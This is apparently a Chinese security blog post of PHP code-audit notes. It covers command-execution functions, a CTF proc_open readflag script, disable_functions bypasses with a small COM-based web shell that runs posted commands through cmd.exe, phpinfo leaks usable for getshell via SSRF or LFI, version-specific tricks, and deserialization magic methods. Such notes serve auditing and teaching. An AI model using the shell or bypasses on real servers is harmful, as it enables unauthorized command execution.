php代码审计知识点总结

**Php可以命令执行的函数**

string shell_exec( string command)
Shell_exec
通过shell环境执行命令,并且将完整的输出以字符串的方式返回。PHP先运行一个shell环境,然后让shell进程运行你的命令,并且把所有输出以字符串形式返回,如果程序执行有错误或者程序没有输出,则返回null。
<?php
$output = shell_exec('whoami');
echo "$output"; // hedong
exit;


string exec ( string $command [, array &$output [, int &$return_var ]] )
Exec不会创建shell进程,可以理解为php进程直接创建一个子进程,运行指定的命令,返回值只返回命令的最后一行,所有的返回以参数形式返回,进程的退出代码以另外一个参数变量返回。
<?php
exec('whoami',$output, $status);
var_dump($output);
exit;


string system ( string command [, int &return_var] )
这个方法和 passthru() 类似, 但是 system() 方法会在程序的每行输出的时候执行一次缓存输出动作, 可以理解为, 只要外部程序输出一行, php 就会马上把内容推送到浏览器, 无论这个内容是否足够大. php通常为了输出效率, 都会有一个输出缓存, 会等到输出内容足够大之后, 再一次输出返回. system() 方法则强制输出内容立刻推送, 即使输出的内容只有一个字母. 如果客户端具有实时打印服务器的返回 http 内容流的能力, 就可以看到 system() 的实时推送效果.

<?php
system("whoami", $status); // 直接输出
var_dump($status); // 成功时状态码是 0
exit;



void passthru ( string $command [, int &$return_var ] )
描述:执行给定的命令,但不返回任何输出结果,而是直接输出到显示设备上;第二个参数可选,用来得到命令执行后的状态码
与 exec() 类似, 唯一不同的是, 命令的所有输出返回内容都不再导入到 PHP 环境, 而是直接作为输出内容, 返回到浏览器的输出上, 等效是把所有返回内容直接 echo 输出.
当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数
<?php
passthru("whoami", $status); // 直接输出
var_dump($status); // 成功时状态码是 0
exit;




resource popen ( string command, string mode )
描述:打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。
$fd = popen("command", 'r');
$ret = fgets($fd);




resource proc_open ( string cmd, array descriptorspec, array &pipes [, string cwd [, array env [, array other_options]]] )
描述:与popen类似,但是可以提供双向管道。
<?php
/**
 * @author: hedong
 * @date 2017-04-04
 */
// 管道配置
$descriptors = array(
  0 => array("pipe", "r"),
  1 => array("pipe", "w")
);
$process = proc_open("php", $descriptors, $pipes);
if (is_resource($process)) {
  fwrite($pipes[0], "<?php\n");
  fwrite($pipes[0], " \$rand = rand(1,2);\n");
  fwrite($pipes[0], " if (\$rand == 1) {\n");
  fwrite($pipes[0], "  echo \"Hello, World!\n\";\n");
  fwrite($pipes[0], " } else {");
  fwrite($pipes[0], "  echo \"Goodbye, World!\n\";\n");
  fwrite($pipes[0], " }");
  fwrite($pipes[0], "?>");
  fclose($pipes[0]);
  $output = "";
  while (!feof($pipes[1])) {
    $output .= fgets($pipes[1]);
  }
  $output = strtoupper($output);
  echo $output; fclose($pipes[1]);
  proc_close($process);
}

*CTF mywebsql
<?php

$descriptorspec = array(
	0 => array("pipe","r"),
	1 => array("pipe","w"),
	2 => array("file","/tmp/error.log","a")
);

$cwd = "/";
$env = array();

$process = proc_open("/home/river/Desktop/readflag",$descriptorspec,$pipes,$cwd,$env);

if(is_resource($process))
{
	$descriptorspec = fread($pipes[1],1024);
	$descriptorspec = fread($pipes[1],1024);
	$descriptorspec = explode("\n",$descriptorspec);

	var_dump($descriptorspec);
	eval("\$result = $descriptorspec[0];");
	
	echo("\$result = $descriptorspec[0];");
	fwrite($pipes[0],"$result\n");
	
	var_dump(fread($pipes[1],1024));
	var_dump(fread($pipes[1],1024));
	var_dump(fread($pipes[1],1024));
	fclose($pipes[0]);
	fclose($pipes[0]);

	$reture_vaule = proc_close($process);
	echo "result $return_value\n";
}

Pcntl_exec
<?php
$args = array("/var/www/html/command-execute/bash.sh");
pcntl_exec("/bin/bash",$args);
?>
这个函数无法直接执行二进制文件,可以用来执行脚本

mixed eval(string code_str)
其中code_str是php代码字符串,通过构造传入eval函数中的全部或部分字符串的内容实现命令注入攻击

obstart()
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
经过测试,网上说的在header函数之前进行输出会报错是不存在的。
本地的php version is 7.2.1

Mail
bool mail (
	string $to ,
	string $subject ,
	string $message [,
	string $additional_headers [,
	string $additional_parameters ]]
)
最后一个参数可以进行注入


**绕过技巧**
1.黑名单绕过
根据disable_function中没有的函数进行绕过
php能够执行系统命令的函数有:

assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,`(反单引号)等等

2.系统组件绕过
只适用于windows
<?php
$command = $_POST[a];
$wsh = new COM(‘WScript.shell’);
$exec = $wsh->exec(‘cmd.exe /c ’.$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
防御方法:直接删除system32下的wshom.ocx文件

3.拓展库绕过

4.PHP create_function()注入命令执行漏洞


附:
开启disable_function的方法
在php.ini中禁用设置,进行安全加固
Disable_function = system,exec,


**Phpinfo中能获取那些敏感信息**
一、绝对路径
$_SERVER['SCRIPT_FILENAME']
对于写shell来说是必不可少的

二、支持的程序
比如redis、memcache、mysql、SMTP、curl等,如果服务器安装了redis或者memcache可以通过ssrf来getshell。

三、泄露真实ip
$_SERVER['SERVER_ADDR']
有时候通过phpinfo()泄漏的ip可以查查旁站、c段什么的,直接无视cdn.

四、GOPHER
ssrf一部分吧,或者说主要靠ssrf利用起来,如果支持gopher,ssrf便没有压力咯

五、Fastcgi
查看是否开启fastcgi和fastcgi的版本,可能导致解析漏洞、远程命令执行、任意文件读取等问题

六、泄露缓存文件地址
向phpinfo() post一个shell可以在_FILES[“file1”]中看到上传的临时文件,如果有个lfi,便可以直接getshell了。


七、一些敏感配置

allow_url_include、allow_url_fopen、disable_functions、open_basedir、short_open_tag等等

比如allow_url_include可用来远程文件包含、disable_functions用来查看禁用函数,绕过执行、查看是否开启open_basedir,用p牛的绕过open_basedir的方法有可能能读一些没权限的目录等等。

此外还能获取一些环境信息,比如Environment中的path、log等



**php各版本的姿势(不同版本的利用特性)**
php5.2以前
1、__autoload加载类文件,但只能调用一次这个函数,所以可以用spl_autoload_register加载类
php5.3
1、新增了glob://和phar://流包装
glob用来列目录,绕过open_baedir
http://php.net/manual/zh/wrappers.phar.php
phar在文件包含中可以用来绕过一些后缀的限制
http://php.net/manual/zh/wrappers.phar.php
2、新的全局变量__DIR__
3、默认开启<?= $xxoo;?>,5.4也可用
php5.4
1、移除安全模式、魔术引号
2、register_globals 和 register_long_arrays php.ini 指令被移除。
3、php.ini新增session.upload_progress.enabled,默认为1,可用来文件包含
http://php.net/manual/zh/session.configuration.php
http://php.net/manual/zh/session.upload-progress.php
php5.5
1、废除preg_replace的/e模式(不是移除)
当使用被弃用的 e 修饰符时, 这个函数会转义一些字符(即:’、”、 和 NULL) 然后进行后向引用替换。
http://php.net/manual/zh/function.preg-replace.php
php5.6
1、使用 … 运算符定义变长参数函数
http://php.net/manual/zh/functions.arguments.php#functions.variable-arg-list
php7.0
1、十六进制字符串不再是认为是数字
2、移除asp和script php标签
php7.1
http://php.net/manual/zh/migration71.new-features.php
1、废除mb_ereg_replace()和mb_eregi_replace()的Eval选项



**反序列化漏洞**

序列化漏洞常见的魔法函数
construct():当一个类被创建时自动调用
destruct():当一个类被销毁时自动调用
invoke():当把一个类当作函数使用时自动调用
tostring():当把一个类当作字符串使用时自动调用
wakeup():当调用unserialize()函数时自动调用
sleep():当调用serialize()函数时自动调用
__call():当要调用的方法不存在或权限不足时自动调用
上一篇:Nmap 使用


下一篇:nmap加载nse脚本在内网渗透中的使用-上